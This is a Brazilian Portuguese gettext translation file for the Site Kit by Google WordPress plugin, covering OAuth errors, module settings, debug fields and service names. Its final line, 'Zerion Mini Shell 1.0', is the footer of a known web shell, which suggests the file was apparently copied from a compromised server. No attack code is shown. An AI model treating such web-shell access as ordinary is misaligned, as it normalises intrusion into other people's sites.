msgstr "Notas"

#: includes/Core/Util/Entity_Factory.php:274
msgctxt "tag archive title prefix"
msgid "Tag:"
msgstr "Tag:"

#: includes/Core/Util/Entity_Factory.php:270
msgctxt "category archive title prefix"
msgid "Category:"
msgstr "Categoria:"

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:305
msgid "Looks like the verification token for your site is missing."
msgstr "Parece que está faltando o token de verificação do seu site. "

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:303
msgid "Looks like there is no Search Console property for your site."
msgstr "Pare que seu site não possui a propriedade do Search Console."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:301
msgid "Looks like your site is not allowed access to Google account data and can’t display stats in the dashboard."
msgstr "Parece que seu site não permissão para acessar os dados da conta Google e não pode exibir estatísticas no painel."

#: includes/Core/Util/Entity_Factory.php:250
msgid "Home"
msgstr "Página inicial"

#: includes/Modules/Analytics.php:216
msgid "Analytics view ID"
msgstr "ID de visualização do Analytics"

#: includes/Core/Modules/Module.php:374
msgid "Invalid datapoint request."
msgstr "Solicitação de datapoint inválida."

#: includes/Modules/Tag_Manager.php:246
msgid "Additional permissions are required to create a new Tag Manager container on your behalf."
msgstr "Permissões adicionais são necessárias para criar um novo contêiner do Tag Manager em seu nome."

#: includes/Modules/Analytics.php:326
msgid "Analytics provisioning requires connecting via the Site Kit Service."
msgstr "O provisionamento do Analytics requer conexão através do Site Kit Service."

#: includes/Modules/Analytics.php:250
msgid "You’ll need to grant Site Kit permission to create a new Analytics view on your behalf."
msgstr "Você precisará conceder permissão ao Site Kit para criar uma nova view do Google Analytics em seu nome."

#: includes/Modules/Analytics.php:255
msgid "You’ll need to grant Site Kit permission to create a new Analytics property on your behalf."
msgstr "Você precisara conceder permissão ao Site Kit para criar uma nova propriedade do Google Analytics em seu nome."

#: includes/Modules/Analytics.php:245 includes/Modules/Analytics_4.php:457
msgid "You’ll need to grant Site Kit permission to create a new Analytics account on your behalf."
msgstr "Você precisará conceder permissão ao Site Kit para criar uma nova conta do Google Analytics em seu nome."

#: includes/Core/Authentication/Authentication.php:739
#: includes/Core/Authentication/Authentication.php:759
#: includes/Core/Authentication/Authentication.php:788
msgid "You don’t have permissions to authenticate with Site Kit."
msgstr "Você não tem permissão para autenticar com o Site Kit."

#: includes/Core/Authentication/Setup.php:241
#: includes/Core/Authentication/Setup.php:298 includes/Core/Util/Reset.php:269
msgid "You don’t have permissions to set up Site Kit."
msgstr "Você não tem permissão para configurar o Site Kit."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:287
msgid "Setup was interrupted because you did not grant the necessary permissions."
msgstr "A instalação foi interrompida porque você não concedeu as permissões necessárias."

#: includes/Core/Modules/REST_Modules_Controller.php:484
msgid "Settings to set."
msgstr "Configurações a serem definidas."

#: includes/Core/Modules/REST_Modules_Controller.php:437
#: includes/Core/Modules/REST_Modules_Controller.php:470
msgid "Module does not support settings."
msgstr "Módulo não suporta configurações."

#: includes/Core/Util/Requires_Javascript_Trait.php:36
msgid "The Site Kit by Google plugin requires JavaScript to be enabled in your browser."
msgstr "O plugin Site Kit by Google precisa de JavaScript habilitado em seu navegador."

#: includes/Core/Site_Health/Debug_Data.php:511
msgid "Required scopes"
msgstr "Escopos necessários"

#. translators: used between list items, there is a space after the comma.
#. translators: used between list items, there is a space after the comma
#: includes/Core/Site_Health/Debug_Data.php:371
#: includes/Core/Site_Health/Debug_Data.php:392
#: includes/Core/Site_Health/Debug_Data.php:462
#: includes/Modules/AdSense.php:1036 includes/Modules/AdSense.php:1080
#: includes/Modules/Analytics.php:1270 includes/Modules/Analytics.php:1328
#: includes/Modules/Analytics_4.php:400
#: includes/Modules/Analytics_4/Report/Request.php:183
#: includes/Modules/Analytics_4/Report/Request.php:249
#: includes/Modules/Analytics_4/Report/Request.php:313
#: dist/assets/js/googlesitekit-activation-10dd251959f9ae87643b.js:16
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:50
#: dist/assets/js/googlesitekit-adminbar-203f7272cce987bdf4b6.js:40
#: dist/assets/js/googlesitekit-api-6b06a5c9b165bf7e28a4.js:14
#: dist/assets/js/googlesitekit-datastore-forms-c6e1e7088ac52f1309a6.js:14
#: dist/assets/js/googlesitekit-datastore-site-c48e7671e5ee14836b62.js:14
#: dist/assets/js/googlesitekit-datastore-ui-1691b99d6139d6cef930.js:14
#: dist/assets/js/googlesitekit-datastore-user-ec540f15d615a560c262.js:14
#: dist/assets/js/googlesitekit-entity-dashboard-003589925de57cf94538.js:18
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:18
#: dist/assets/js/googlesitekit-modules-6f0936588b8d5bce8406.js:14
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:18
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:18
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:18
#: dist/assets/js/googlesitekit-modules-pagespeed-insights-1c74f590552e4456c31c.js:14
#: dist/assets/js/googlesitekit-modules-search-console-2c52396694c81ff00e71.js:44
#: dist/assets/js/googlesitekit-modules-tagmanager-6fb81487795d15682a0b.js:34
#: dist/assets/js/googlesitekit-settings-434d302fecbb58106ce3.js:32
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:34
#: dist/assets/js/googlesitekit-user-input-01dd9b71312af0b9c4c4.js:32
#: dist/assets/js/googlesitekit-widgets-84bbc9dc93a061d12235.js:38
#: dist/assets/js/googlesitekit-wp-dashboard-9f103fc044928f8a764e.js:50
msgid ", "
msgstr ","

#: includes/Core/Site_Health/Debug_Data.php:368
msgid "Active Modules"
msgstr "Ativar módulos"

#: includes/Core/Site_Health/Debug_Data.php:283
msgid "Not authenticated"
msgstr "Não autenticado"

#: includes/Core/Site_Health/Debug_Data.php:282
msgid "Authenticated"
msgstr "Autenticado"

#: includes/Core/Site_Health/Debug_Data.php:280
msgid "User Status"
msgstr "Status do usuário"

#: includes/Core/Site_Health/Debug_Data.php:263
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:80
msgid "Site Status"
msgstr "Status do site"

#: includes/Core/Site_Health/Debug_Data.php:251
#: includes/Modules/Analytics_4.php:412
msgid "Not connected"
msgstr "Não Conectado"

#: includes/Core/Site_Health/Debug_Data.php:250
msgid "Connected through OAuth client credentials"
msgstr "Conectado por meio de credenciais do cliente OAuth"

#: includes/Core/Site_Health/Debug_Data.php:249
msgid "Connected through site credentials"
msgstr "Conectado por meio de credenciais do site"

#: includes/Core/Site_Health/Debug_Data.php:232
msgid "AMP Mode"
msgstr "Modo AMP"

#: includes/Core/Site_Health/Debug_Data.php:228
msgid "Secondary"
msgstr "Secundário"

#: includes/Core/Site_Health/Debug_Data.php:227
msgid "Primary"
msgstr "Primária"

#: includes/Core/Site_Health/Debug_Data.php:202
#: includes/Core/Site_Health/Debug_Data.php:445
#: includes/Modules/Analytics_4.php:397
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:80
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:54
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:74
msgid "None"
msgstr "Nenhuma"

#: includes/Core/Site_Health/Debug_Data.php:179
msgid "Reference Site URL"
msgstr "URL do site de referência"

#: includes/Core/Site_Health/Debug_Data.php:175
msgid "WordPress Version"
msgstr "Versão do WordPress"

#: includes/Core/Site_Health/Debug_Data.php:171
msgid "PHP Version"
msgstr "Versão do PHP"

#: includes/Core/Site_Health/Debug_Data.php:167
msgid "Version"
msgstr "Versão"

#: includes/Modules/AdSense.php:247
msgid "AdSense snippet placed"
msgstr "Snippet do AdSense incluído"

#: includes/Modules/AdSense.php:239
msgid "AdSense account status"
msgstr "Status da conta AdSense"

#: includes/Modules/AdSense.php:234
msgid "AdSense client ID"
msgstr "ID do cliente AdSense"

#: includes/Modules/AdSense.php:229
msgid "AdSense account ID"
msgstr "ID da conta AdSense"

#: includes/Modules/Tag_Manager.php:198
msgid "Tag Manager snippet placed"
msgstr "Snippet Tag Manager adicionado"

#: includes/Modules/Tag_Manager.php:193
msgid "Tag Manager AMP container ID"
msgstr "ID do contêiner AMP do Tag Manager"

#: includes/Modules/Tag_Manager.php:188
msgid "Tag Manager container ID"
msgstr "ID do contêiner Tag Manager"

#: includes/Modules/Tag_Manager.php:183
msgid "Tag Manager account ID"
msgstr "ID da conta Tag Manager"

#: includes/Modules/Analytics.php:221
msgid "Analytics snippet placed"
msgstr "Snippet do Analytics adicionado"

#: includes/Modules/Analytics.php:211
msgid "Analytics property ID"
msgstr "ID da propriedade Analytics"

#: includes/Modules/Analytics.php:206
msgid "Analytics account ID"
msgstr "ID da Conta Google Analytics"

#: includes/Modules/Search_Console.php:164
msgid "Search Console property"
msgstr "Propriedade do Search Console"

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:307
msgid "Unable to authenticate Site Kit, as no client credentials exist."
msgstr "Não foi possível autenticar o Site Kit, pois não existem credenciais do cliente."

#: includes/Core/Admin/Dashboard.php:116
msgid "Site Kit Summary"
msgstr "Resumo do Site Kit"

#: includes/Core/Notifications/Notification.php:69
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:62
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:88
msgid "Dismiss"
msgstr "Dispensar"

#: includes/Modules/Analytics_4.php:412
#: dist/assets/js/googlesitekit-settings-434d302fecbb58106ce3.js:36
msgid "Connected"
msgstr "Conectado"

#: includes/Core/Admin/Available_Tools.php:47
#: includes/Core/Admin/Available_Tools.php:61
#: dist/assets/js/googlesitekit-settings-434d302fecbb58106ce3.js:19
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:17
msgid "Reset Site Kit"
msgstr "Reiniciar Site Kit"

#: includes/Modules/AdSense.php:747
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:31
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:37
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:88
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:64
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:70
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:76
msgctxt "Service name"
msgid "AdSense"
msgstr "AdSense"

#: includes/Modules/PageSpeed_Insights.php:179
#: dist/assets/js/googlesitekit-modules-pagespeed-insights-1c74f590552e4456c31c.js:24
msgctxt "Service name"
msgid "PageSpeed Insights"
msgstr "PageSpeed Insights"

#: includes/Modules/Tag_Manager.php:473
#: dist/assets/js/googlesitekit-modules-tagmanager-6fb81487795d15682a0b.js:34
msgctxt "Service name"
msgid "Tag Manager"
msgstr "Tag Manager"

#: includes/Modules/Search_Console.php:502
#: dist/assets/js/googlesitekit-modules-search-console-2c52396694c81ff00e71.js:46
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:23
msgctxt "Service name"
msgid "Search Console"
msgstr "Search Console"

#: includes/Modules/Analytics.php:907
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:80
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:52
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:56
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:60
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:78
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:88
#: dist/assets/js/googlesitekit-modules-search-console-2c52396694c81ff00e71.js:46
msgctxt "Service name"
msgid "Analytics"
msgstr "Analytics"

#: includes/Core/Authentication/Authentication.php:1220
msgid "Click here"
msgstr "Clique aqui"

#: includes/Core/Authentication/Authentication.php:1213
msgid "You need to reauthenticate your Google account."
msgstr "Você precisa re-autenticar sua conta Google."

#. translators: %s: error code from API
#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:316
msgid "Unknown Error (code: %s)."
msgstr "Error desconhecido (código: %s)."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:313
msgid "Unable to receive access token because of an unsupported grant type."
msgstr "Não foi possível receber o token de acesso devido a um tipo de concessão não suportada."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:311
msgid "Unable to receive access token because of an unauthorized client."
msgstr "Não é possível receber o token de acesso devido a um cliente não autorizado."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:297
msgid "Unable to receive access token because of an invalid authorization code or refresh token."
msgstr "Não foi possível receber o token de acesso devido a um código de autorização inválido ou token de atualização."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:293
msgid "Unable to receive access token because of an invalid client."
msgstr "Não foi possível receber o token de acesso devido a um cliente inválido."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:299
msgid "Unable to receive access token because of an invalid OAuth request."
msgstr "Não foi possível receber o token de acesso devido a uma requisição OAuth inválida."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:289
msgid "Unable to receive access token because of an unknown error."
msgstr "Não foi possível receber o token de acesso devido a um erro desconhecido."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:295
msgid "Unable to receive access token because of an empty authorization code."
msgstr "Não foi possível receber o token de acesso devido a um código de autorização vazio."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:291
msgid "Internal error that the Google login redirect failed."
msgstr "Erro interno causou uma falha no redirecionamento de login do Google."

#: includes/Core/Authentication/Clients/OAuth_Client_Base.php:309
msgid "Unable to refresh access token, as no refresh token exists."
msgstr "Não foi possível atualizar o token de acesso, pois não existe nenhum token de atualização."

#: includes/Core/Site_Health/Debug_Data.php:233
#: includes/Modules/AdSense.php:248 includes/Modules/AdSense.php:269
#: includes/Modules/AdSense.php:277 includes/Modules/Analytics.php:222
#: includes/Modules/Analytics_4.php:391 includes/Modules/Tag_Manager.php:199
msgid "No"
msgstr "Não"

#: includes/Modules/AdSense.php:248 includes/Modules/AdSense.php:269
#: includes/Modules/AdSense.php:277 includes/Modules/Analytics.php:222
#: includes/Modules/Analytics_4.php:391 includes/Modules/Tag_Manager.php:199
msgid "Yes"
msgstr "Sim"

#: includes/Core/Modules/REST_Modules_Controller.php:149
msgid "List of slugs of other modules depending on the module."
msgstr "Lista de slugs de outros módulos, dependendo do módulo."

#: includes/Core/Modules/REST_Modules_Controller.php:141
msgid "List of slugs of other modules that the module depends on."
msgstr "Lista de slugs de outros módulos que módulo depende."

#: includes/Core/Modules/REST_Modules_Controller.php:136
msgid "Whether the module setup has been completed."
msgstr "Se a configuração do módulo foi concluída."

#: includes/Core/Modules/REST_Modules_Controller.php:132
msgid "Whether the module is active."
msgstr "Se o módulo está ativo. "

#: includes/Core/Modules/REST_Modules_Controller.php:127
msgid "Whether the module is internal, thus without any UI."
msgstr "Se o módulo é interno, portanto, sem qualquer interface do usuário."

#: includes/Core/Modules/REST_Modules_Controller.php:121
msgid "The module homepage."
msgstr "O módulo da homepage."

#: includes/Core/Modules/REST_Modules_Controller.php:116
msgid "Description of the module."
msgstr "Descrição do módulo."

#: includes/Core/Modules/REST_Modules_Controller.php:111
msgid "Name of the module."
msgstr "Nome do módulo."

#: includes/Core/Util/REST_Entity_Search_Controller.php:133
msgid "Text content to search for."
msgstr "Conteúdo do texto a ser pesquisado."

#: includes/Core/Modules/REST_Modules_Controller.php:605
msgid "Module data point to address."
msgstr "Os dados do módulo apontam para o endereço."

#: includes/Core/Modules/REST_Modules_Controller.php:588
msgid "Data to set."
msgstr "Dados para definir."

#: includes/Core/Modules/REST_Modules_Controller.php:106
#: includes/Core/Modules/REST_Modules_Controller.php:322
#: includes/Core/Modules/REST_Modules_Controller.php:379
#: includes/Core/Modules/REST_Modules_Controller.php:417
#: includes/Core/Modules/REST_Modules_Controller.php:496
#: includes/Core/Modules/REST_Modules_Controller.php:532
#: includes/Core/Modules/REST_Modules_Controller.php:600
msgid "Identifier for the module."
msgstr "Identificador para o módulo."

#: includes/Core/Modules/REST_Modules_Controller.php:285
msgid "An internal error occurred while trying to deactivate the module."
msgstr "Um erro interno ocorreu ao tentar desativar o módulo. "

#. translators: %s: module name
#: includes/Core/Modules/REST_Modules_Controller.php:280
msgid "Module cannot be deactivated because deactivation of dependant %s failed."
msgstr "O módulo não pode ser desativado porque a desativação dependente %s falhou."

#: includes/Core/Modules/REST_Modules_Controller.php:271
msgid "An internal error occurred while trying to activate the module."
msgstr "Ocorreu um erro interno ao tentar ativar o módulo."

#. translators: %s: module name
#: includes/Core/Modules/REST_Modules_Controller.php:267
msgid "Module cannot be activated because of inactive dependency %s."
msgstr "O módulo não pode ser ativado devido à dependência inativa %s."

#: includes/Core/Modules/REST_Modules_Controller.php:344
#: includes/Core/Modules/REST_Modules_Controller.php:395
#: includes/Core/Modules/REST_Modules_Controller.php:433
#: includes/Core/Modules/REST_Modules_Controller.php:466
#: includes/Core/Modules/REST_Modules_Controller.php:512
#: includes/Core/Modules/REST_Modules_Controller.php:548
#: includes/Core/Modules/REST_Modules_Controller.php:570
msgid "Invalid module slug."
msgstr "Slug de módulo inválido."

#. translators: %s: service identifier
#: includes/Core/Modules/Module.php:541
msgid "Google service identified by %s does not exist."
msgstr "Serviço do Google identificado por %s não existe. "

#: includes/Core/Modules/Module.php:529 includes/Core/Modules/Module.php:533
msgid "Google services not set up correctly."
msgstr "Serviço do Google não foi configurado corretamente."

#: includes/Core/Modules/Module.php:475
msgid "Google client not set up correctly."
msgstr "Cliente do Google não configurado corretamente."

#. translators: %s: module slug
#: includes/Core/Modules/Modules.php:562 includes/Core/Modules/Modules.php:600
#: includes/Core/Modules/Modules.php:621
msgid "Invalid module slug %s."
msgstr "Slug de módulo inválido %s."

#: includes/Core/Admin/Screen.php:129
#: includes/Core/Site_Health/Tag_Placement.php:106
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:82
msgid "Site Kit"
msgstr "Site Kit"

#: includes/Core/Admin/Plugin_Action_Links.php:61
#: includes/Core/Admin/Screens.php:459
#: dist/assets/js/googlesitekit-settings-434d302fecbb58106ce3.js:32
msgid "Settings"
msgstr "Configurações"

#: includes/Core/Admin/Screens.php:361 includes/Core/Admin/Screens.php:407
msgid "Dashboard"
msgstr "Painel"

#: includes/Modules/Analytics.php:910 includes/Modules/Analytics_4.php:1531
msgid "https://analytics.google.com/analytics/web"
msgstr "https://analytics.google.com/analytics/web"

#: includes/Modules/Analytics.php:908 includes/Modules/Analytics_4.php:1529
msgid "Get a deeper understanding of your customers. Google Analytics gives you the free tools you need to analyze data for your business in one place."
msgstr "Tenha um entendimento mais profundo dos seus clientes. O Google Analytics fornece as ferramentas gratuitas necessárias para analisar dados da sua empresa em um só lugar."

#: includes/Modules/Analytics.php:365
msgid "Analytics module needs to be configured."
msgstr "Módulo do Analytics precisa ser configurado."

#: includes/Modules/Site_Verification.php:359
msgid "https://www.google.com/webmasters/verification/home"
msgstr "https://www.google.com/webmasters/verification/home"

#: includes/Modules/Site_Verification.php:357
msgid "Google Site Verification allows you to manage ownership of your site."
msgstr "Google Site Verification permite você administrar a propriedade do seu site."

#: includes/Modules/Site_Verification.php:180
msgid "Unknown user."
msgstr "Usuário desconhecido."

#: includes/Modules/AdSense.php:748
msgid "Earn money by placing ads on your website. It’s free and easy."
msgstr "Ganhe dinheiro colocando anúncios em seu site. É grátis e fácil."

#: includes/Modules/AdSense.php:640
msgid "Invalid date range."
msgstr "Período inválido."

#: includes/Modules/AdSense.php:399
msgid "Go to AdSense"
msgstr "Ir para o AdSense"

#: includes/Modules/AdSense.php:675
msgid "AdSense account ID not set."
msgstr "ID da conta do AdSense não definido."

#: includes/Modules/Tag_Manager.php:476
msgid "https://tagmanager.google.com/"
msgstr "https://tagmanager.google.com/"

#: includes/Modules/Tag_Manager.php:474
msgid "Tag Manager creates an easy to manage way to create tags on your site without updating code"
msgstr "O Tag Manager cria uma maneira fácil de gerenciar para criar tags no seu site sem atualizar o código"

#: includes/Modules/PageSpeed_Insights.php:180
msgid "Google PageSpeed Insights gives you metrics about performance, accessibility, SEO and PWA"
msgstr "O Google PageSpeed Insights fornece métricas sobre desempenho, acessibilidade, SEO e PWA"

#. translators: 1: Invalid parameter name, 2: list of valid values
#: includes/Modules/PageSpeed_Insights.php:112
#: includes/Modules/Tag_Manager.php:291
msgid "Request parameter %1$s is not one of %2$s"
msgstr "O parâmetro de solicitação %1$s não é um dos %2$s"

#: includes/Modules/Search_Console.php:505
msgid "https://search.google.com/search-console"
msgstr "https://search.google.com/search-console"

#: includes/Modules/Search_Console.php:503
msgid "Google Search Console and helps you understand how Google views your site and optimize its performance in search results."
msgstr "Google Search Console ajuda a entender como Google visualiza seu site e otimiza seu desempenho nos resultados de pesquisa."

#: includes/Core/REST_API/Exception/Invalid_Datapoint_Exception.php:38
msgid "Invalid datapoint."
msgstr "Datapoint inválido."

#: includes/Modules/Search_Console.php:262
msgid "Error adding the site to Search Console."
msgstr "Erro ao adicionar o site ao Search Console."

#. translators: %s: Missing parameter name
#: includes/Core/Dismissals/REST_Dismissals_Controller.php:109
#: includes/Core/Feature_Tours/REST_Feature_Tours_Controller.php:108
#: includes/Core/Notifications/Notifications.php:285
#: includes/Core/Prompts/REST_Prompts_Controller.php:109
#: includes/Core/REST_API/Exception/Missing_Required_Param_Exception.php:46
#: includes/Core/User_Surveys/REST_User_Surveys_Controller.php:228
#: includes/Modules/AdSense.php:338 includes/Modules/AdSense.php:343
#: includes/Modules/AdSense.php:351 includes/Modules/AdSense.php:360
#: includes/Modules/AdSense.php:472 includes/Modules/Analytics.php:310
#: includes/Modules/Analytics.php:314 includes/Modules/Analytics.php:318
#: includes/Modules/Analytics.php:322 includes/Modules/Analytics.php:378
#: includes/Modules/Analytics.php:386 includes/Modules/Analytics.php:397
#: includes/Modules/Analytics.php:408 includes/Modules/Analytics.php:580
#: includes/Modules/Analytics.php:588 includes/Modules/Analytics.php:605
#: includes/Modules/Analytics_4.php:980 includes/Modules/Analytics_4.php:996
#: includes/Modules/Analytics_4.php:1011 includes/Modules/Analytics_4.php:1027
#: includes/Modules/Analytics_4.php:1038 includes/Modules/Analytics_4.php:1067
#: includes/Modules/Analytics_4.php:1076 includes/Modules/Analytics_4.php:1095
#: includes/Modules/Analytics_4.php:1104 includes/Modules/Analytics_4.php:1113
#: includes/Modules/Analytics_4.php:1167 includes/Modules/Analytics_4.php:1176
#: includes/Modules/Analytics_4.php:1253 includes/Modules/Analytics_4.php:1275
#: includes/Modules/Analytics_4.php:1292 includes/Modules/Analytics_4.php:1327
#: includes/Modules/Analytics_4.php:1338 includes/Modules/Analytics_4.php:1346
#: includes/Modules/Analytics_4.php:1359
#: includes/Modules/PageSpeed_Insights.php:98
#: includes/Modules/Search_Console.php:234
#: includes/Modules/Site_Verification.php:173
#: includes/Modules/Tag_Manager.php:271 includes/Modules/Tag_Manager.php:279
#: includes/Modules/Tag_Manager.php:322 includes/Modules/Tag_Manager.php:330
msgid "Request parameter is empty: %s."
msgstr "Parâmetro de requisição está vazio: %s."

#: google-site-kit.php:50 google-site-kit.php:58
msgid "Error Activating"
msgstr "Erro ao ativar"

#. Author URI of the plugin
#: google-site-kit.php
msgid "https://opensource.google.com"
msgstr "https://opensource.google.com"

#. Author of the plugin
#: google-site-kit.php
msgid "Google"
msgstr "Google"

#. Description of the plugin
#: google-site-kit.php
msgid "Site Kit is a one-stop solution for WordPress users to use everything Google has to offer to make them successful on the web."
msgstr "Site Kit é uma solução completa para os usuários do WordPress usarem tudo que o Google oferece para torná-los bem sucedidos na web."

#. Plugin URI of the plugin
#: google-site-kit.php
msgid "https://sitekit.withgoogle.com"
msgstr "https://sitekit.withgoogle.com"

#. Plugin Name of the plugin
#: google-site-kit.php includes/Core/Admin/Screen.php:87
#: includes/Core/Authentication/Authentication.php:1155
#: includes/Core/Authentication/Authentication.php:1212
#: includes/Core/Site_Health/Debug_Data.php:120
msgid "Site Kit by Google"
msgstr "Site Kit by Google"

Zerion Mini Shell 1.0